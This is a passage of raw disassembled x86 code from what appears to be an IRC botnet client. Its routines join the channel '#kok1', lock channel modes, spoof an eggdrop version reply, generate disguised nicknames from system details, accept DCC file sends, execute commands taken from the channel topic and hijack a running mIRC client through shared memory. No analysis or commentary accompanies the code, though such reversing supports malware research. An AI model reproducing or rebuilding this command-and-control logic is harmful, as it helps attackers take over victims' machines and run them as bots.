[ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E974 call sub_4053BF add esp, 0Ch leave retn sub_40D420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4AB proc near ; CODE XREF: cAddress:004022DDp ; cAddress:004034D1p ... var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1004] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_1008], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_1008] push eax mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E974 call sub_4053BF add esp, 0Ch leave retn sub_40D4AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D53F proc near ; CODE XREF: cAddress:00401295p ; cAddress:00401662p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_40D55F jmp locret_40D6C9 ; --------------------------------------------------------------------------- loc_40D55F: ; CODE XREF: sub_40D53F+19j and [ebp+var_8], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 1 jnz short loc_40D58F mov eax, [ebp+arg_0] add eax, 21h push eax push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D58F: ; CODE XREF: sub_40D53F+2Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jnz short loc_40D5BB mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A058 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D5E7 mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A048 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5E7: ; CODE XREF: sub_40D53F+86j mov eax, [ebp+arg_0] add eax, 21h push eax push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax loc_40D605: ; CODE XREF: sub_40D53F+4Ej ; sub_40D53F+7Aj ... mov eax, [ebp+arg_0] cmp dword ptr [eax+19Fh], 0 jz short loc_40D63C mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D629 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D63C loc_40D629: ; CODE XREF: sub_40D53F+DCj push offset aMessage ; "message " lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D63C: ; CODE XREF: sub_40D53F+D0j ; sub_40D53F+E8j lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D680 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D693 loc_40D680: ; CODE XREF: sub_40D53F+133j push offset dword_41A038 lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D693: ; CODE XREF: sub_40D53F+13Fj push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E974 call sub_4053BF add esp, 0Ch locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj leave retn sub_40D53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6CB proc near ; CODE XREF: cAddress:00403530p ; cAddress:0040353Dp ... var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_416BC0 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push 1000h lea eax, [ebp+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E974 call sub_4053BF add esp, 0Ch leave retn sub_40D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push offset aMirc ; "mIRC" call dword_4171E8 ; FindWindowA mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_40D734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_40D75E jmp locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D75E: ; CODE XREF: sub_40D74D+Aj call sub_40D734 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40D76E jmp short locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D76E: ; CODE XREF: sub_40D74D+1Dj push offset aMirc ; "mIRC" push 1000h push 0 push 4 push 0 push 0FFFFFFFFh call dword_4170C0 ; CreateFileMappingA mov [ebp+var_8], eax push 0 push 0 push 0 push 0F001Fh push [ebp+var_8] call dword_4170BC ; MapViewOfFile mov [ebp+var_C], eax push [ebp+arg_0] push [ebp+var_C] call sub_416B5E ; sprintf pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call dword_4171EC ; SendMessageA push 0 push 1 push 4C9h push [ebp+var_4] call dword_4171EC ; SendMessageA push [ebp+var_C] call dword_4170B8 ; UnmapViewOfFile push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40D7E3: ; CODE XREF: sub_40D74D+Cj ; sub_40D74D+1Fj leave retn sub_40D74D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p ; sub_40D043+2FAp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40D803 ; --------------------------------------------------------------------------- loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D803: ; CODE XREF: sub_40D7E5+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short locret_40D86F mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40D82E push 39h push 30h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D82E: ; CODE XREF: sub_40D7E5+32j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40D86D call sub_410483 test eax, eax jz short loc_40D85A push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej push 5Ah push 41h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al loc_40D86D: ; CODE XREF: sub_40D7E5+47j ; sub_40D7E5+55j ... jmp short loc_40D7FC ; --------------------------------------------------------------------------- locret_40D86F: ; CODE XREF: sub_40D7E5+24j leave retn sub_40D7E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D871 proc near ; CODE XREF: sub_40E618+321p var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C4 = byte ptr -7C4h var_7C0 = dword ptr -7C0h var_7BC = byte ptr -7BCh var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_4B4 = byte ptr -4B4h var_490 = byte ptr -490h var_390 = byte ptr -390h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_238 = dword ptr -238h var_234 = byte ptr -234h var_213 = byte ptr -213h var_113 = dword ptr -113h var_10F = byte ptr -10Fh var_95 = dword ptr -95h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 7E8h push edi push offset aPing ; "PING" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8A7 mov eax, [ebp+arg_C] push dword ptr [eax+4] push offset aPongS ; "PONG %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8A7: ; CODE XREF: sub_40D871+1Dj push offset aPong ; "PONG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8C2 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D871+4Aj push offset aMode ; "MODE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8DD jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8DD: ; CODE XREF: sub_40D871+65j push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DB2D mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz loc_40DB2D mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax+1] cmp eax, 1 jnz loc_40DB2D push offset dword_41A14C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jz loc_40DA81 push offset aSend ; "SEND" mov eax, [ebp+arg_C] push dword ptr [eax+10h] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 cmp [ebp+arg_0], 0 jz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+14h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+18h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+1Ch], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+20h], 0 jnz short loc_40D98B loc_40D986: ; CODE XREF: sub_40D871+F8j ; sub_40D871+101j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D871+113j mov eax, [ebp+arg_C] mov eax, [eax+14h] movsx eax, byte ptr [eax] cmp eax, 22h jnz short loc_40D99E jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D99E: ; CODE XREF: sub_40D871+126j mov eax, [ebp+arg_C] push dword ptr [eax+20h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+20h] and byte ptr [ecx+eax], 0 push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aKok1 ; "#kok1" lea eax, [ebp+var_213] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_113], 0 push 7Ah push 0 lea eax, [ebp+var_10F] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_95], 1 mov eax, [ebp+arg_C] push dword ptr [eax+18h] call sub_416B9C ; atoi pop ecx mov [ebp+var_238], eax movzx eax, byte ptr [ebp+var_238] push eax mov eax, [ebp+var_238] shr eax, 8 movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 10h movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 18h movzx eax, al push eax push offset aU_U_U_U ; "%u.%u.%u.%u" lea eax, [ebp+var_248] push eax call sub_416B5E ; sprintf add esp, 18h mov eax, [ebp+arg_C] push dword ptr [eax+20h] mov eax, [ebp+arg_C] push dword ptr [eax+1Ch] lea eax, [ebp+var_248] push eax mov eax, [ebp+arg_C] push dword ptr [eax+14h] push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_4024F3 add esp, 18h jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DA81: ; CODE XREF: sub_40D871+BAj ; sub_40D871+C7j ... push offset dword_41A138 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DAAD push offset dword_41A12C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40DAEB loc_40DAAD: ; CODE XREF: sub_40D871+224j cmp [ebp+arg_0], 0 jz short loc_40DAD1 push offset dword_41DC00 push 3B7h push 0 push offset dword_41A108 push [ebp+arg_4] call sub_40D420 add esp, 14h jmp short loc_40DAE6 ; --------------------------------------------------------------------------- loc_40DAD1: ; CODE XREF: sub_40D871+240j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_41A0E8 push [ebp+arg_4] call sub_40D420 add esp, 0Ch loc_40DAE6: ; CODE XREF: sub_40D871+25Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DAEB: ; CODE XREF: sub_40D871+23Aj push offset dword_41A0E0 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DB16 push offset dword_41A0D8 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call dword_417108 ; lstrcmp test eax, eax jnz short loc_40DB2D loc_40DB16: ; CODE XREF: sub_40D871+28Ej mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_40D420 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DB2D: ; CODE XREF: sub_40D871+80j ; sub_40D871+8Dj ... push offset a433 ; "433" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DCFD call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_2CC], eax cmp [ebp+var_2CC], 4 jnb short loc_40DB71 call sub_406AE7 test eax, eax jz loc_40DCB8 loc_40DB71: ; CODE XREF: sub_40D871+2F1j call sub_406A23 lea eax, [ebp+var_390] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40DB9A push offset aUnk ; "UNK" lea eax, [ebp+var_390] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DB9A: ; CODE XREF: sub_40D871+314j call sub_408E8E cmp eax, 400h jbe short loc_40DBB3 call sub_408E8E mov [ebp+var_7E4], eax jmp short loc_40DBBD ; --------------------------------------------------------------------------- loc_40DBB3: ; CODE XREF: sub_40D871+333j mov [ebp+var_7E4], 400h loc_40DBBD: ; CODE XREF: sub_40D871+340j mov eax, [ebp+var_7E4] shr eax, 0Ah mov [ebp+var_36C], eax call sub_408887 mov [ebp+var_2D0], eax mov [ebp+var_368], offset aB ; "B" cmp [ebp+var_2D0], 3E8h jnb short loc_40DBF7 mov [ebp+var_368], offset aA ; "A" loc_40DBF7: ; CODE XREF: sub_40D871+37Aj cmp [ebp+var_2D0], 1F4h jnb short loc_40DC0D mov [ebp+var_368], offset aG ; "G" loc_40DC0D: ; CODE XREF: sub_40D871+390j and [ebp+var_370], 0 mov [ebp+var_364], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_360] rep stosd lea eax, [ebp+var_364] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_360], 5 jnz short loc_40DC54 cmp [ebp+var_35C], 1 jnz short loc_40DC54 mov [ebp+var_370], 1 loc_40DC54: ; CODE XREF: sub_40D871+3CEj ; sub_40D871+3D7j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_370], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_368] push [ebp+var_36C] push 5Dh push [ebp+var_2CC] push 5Bh push 5Dh lea eax, [ebp+var_390] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_2C8] push eax call sub_416B5E ; sprintf add esp, 34h jmp short loc_40DCE5 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40D871+2FAj push offset aRONa ; "àÃЮ¼³" lea eax, [ebp+var_2C8] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_2C8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_2C8] push eax call sub_40D7E5 pop ecx loc_40DCE5: ; CODE XREF: sub_40D871+445j lea eax, [ebp+var_2C8] push eax push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DCFD: ; CODE XREF: sub_40D871+2D0j push offset aError ; "ERROR" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD25 push 0 push 0 push 0 call sub_40D366 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD25: ; CODE XREF: sub_40D871+49Fj push offset aJoin ; "JOIN" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 push offset byte_41EE18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40DD97 mov eax, [ebp+arg_C] mov eax, [eax+8] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_40DD74 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax mov [ebp+var_7E8], eax jmp short loc_40DD80 ; --------------------------------------------------------------------------- loc_40DD74: ; CODE XREF: sub_40D871+4F2j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_7E8], eax loc_40DD80: ; CODE XREF: sub_40D871+501j push [ebp+var_7E8] push offset aModeSSmntu ; "MODE %s +smntu" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD97: ; CODE XREF: sub_40D871+4C8j ; sub_40D871+4DBj ... push offset a001 ; "001" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DE70 push 21h mov eax, [ebp+arg_C] push dword ptr [eax+8] lea eax, [ebp+var_4B4] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_4B4] push eax push offset byte_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4B4] push eax push offset aModeSXi ; "MODE %s +xi" call sub_40D6CB pop ecx pop ecx push offset dword_41ED18 push offset aKok1 ; "#kok1" push offset aJoinSS ; "JOIN %s %s" call sub_40D6CB add esp, 0Ch lea eax, [ebp+var_490] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx test eax, eax jz short loc_40DE58 lea eax, [ebp+var_490] push eax call sub_4041B7 pop ecx test eax, eax jz short loc_40DE43 lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx jmp short loc_40DE56 ; --------------------------------------------------------------------------- loc_40DE43: ; CODE XREF: sub_40D871+5BBj lea eax, [ebp+var_490] push eax push offset dword_41EF18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DE56: ; CODE XREF: sub_40D871+5D0j jmp short loc_40DE6B ; --------------------------------------------------------------------------- loc_40DE58: ; CODE XREF: sub_40D871+5AAj lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE70: ; CODE XREF: sub_40D871+53Aj push offset a451 ; "451" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DE96 push 0 push 1 call sub_40D043 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE96: ; CODE XREF: sub_40D871+613j push offset a302 ; "302" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DF3E mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jnz short loc_40DEBE jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEBE: ; CODE XREF: sub_40D871+646j push offset a@ ; "@" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5B8], eax cmp [ebp+var_5B8], 0 jnz short loc_40DEE4 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEE4: ; CODE XREF: sub_40D871+66Cj push 100h mov eax, [ebp+var_5B8] inc eax push eax push offset dword_41EF18 call sub_407A56 add esp, 0Ch lea eax, [ebp+var_5B4] push eax mov eax, [ebp+var_5B8] inc eax push eax call sub_404612 pop ecx pop ecx movzx eax, al test eax, eax jnz short loc_40DF20 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF20: ; CODE XREF: sub_40D871+6A8j push 100h lea eax, [ebp+var_5B4] push eax push offset dword_41EF18 call sub_407A56 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF3E: ; CODE XREF: sub_40D871+639j push offset aNick ; "NICK" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF8E mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jnz short loc_40DF62 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40D871+6EAj push offset byte_41EE18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF89 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax push eax push offset byte_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DF89: ; CODE XREF: sub_40D871+702j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF8E: ; CODE XREF: sub_40D871+6E1j push offset a332 ; "332" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz loc_40E128 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_40DFBF mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_40DFC4 loc_40DFBF: ; CODE XREF: sub_40D871+73Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DFC4: ; CODE XREF: sub_40D871+74Cj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E05F mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+arg_10] cmp dword ptr [eax+14h], 0 jz short loc_40E04E mov eax, [ebp+arg_10] push dword ptr [eax+14h] mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] lea eax, [eax+ecx+1] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40E05F ; --------------------------------------------------------------------------- loc_40E04E: ; CODE XREF: sub_40D871+7BBj mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] and byte ptr [eax+ecx+1], 0 loc_40E05F: ; CODE XREF: sub_40D871+760j ; sub_40D871+7DBj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jz loc_40E123 lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40813C add esp, 0Ch mov [ebp+var_7C0], eax and [ebp+var_7C8], 0 loc_40E09A: ; CODE XREF: sub_40D871+8ADj cmp [ebp+var_7C0], 0 jnz short loc_40E0A5 jmp short loc_40E123 ; --------------------------------------------------------------------------- loc_40E0A5: ; CODE XREF: sub_40D871+830j ; sub_40D871+851j mov eax, [ebp+var_7C0] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40E0B5 jmp short loc_40E0C4 ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40D871+840j mov eax, [ebp+var_7C0] inc eax mov [ebp+var_7C0], eax jmp short loc_40E0A5 ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: sub_40D871+842j push [ebp+var_7C0] mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_7BC] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_7BC] push eax call sub_40E618 pop ecx lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_7C8], eax mov eax, [ebp+var_7C8] mov [ebp+var_7C0], eax jmp loc_40E09A ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40D871+7FAj ; sub_40D871+832j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E128: ; CODE XREF: sub_40D871+731j cmp [ebp+arg_0], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz short loc_40E153 push offset byte_41EE18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E158 loc_40E153: ; CODE XREF: sub_40D871+8BBj ; sub_40D871+8C4j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E158: ; CODE XREF: sub_40D871+8E0j mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call 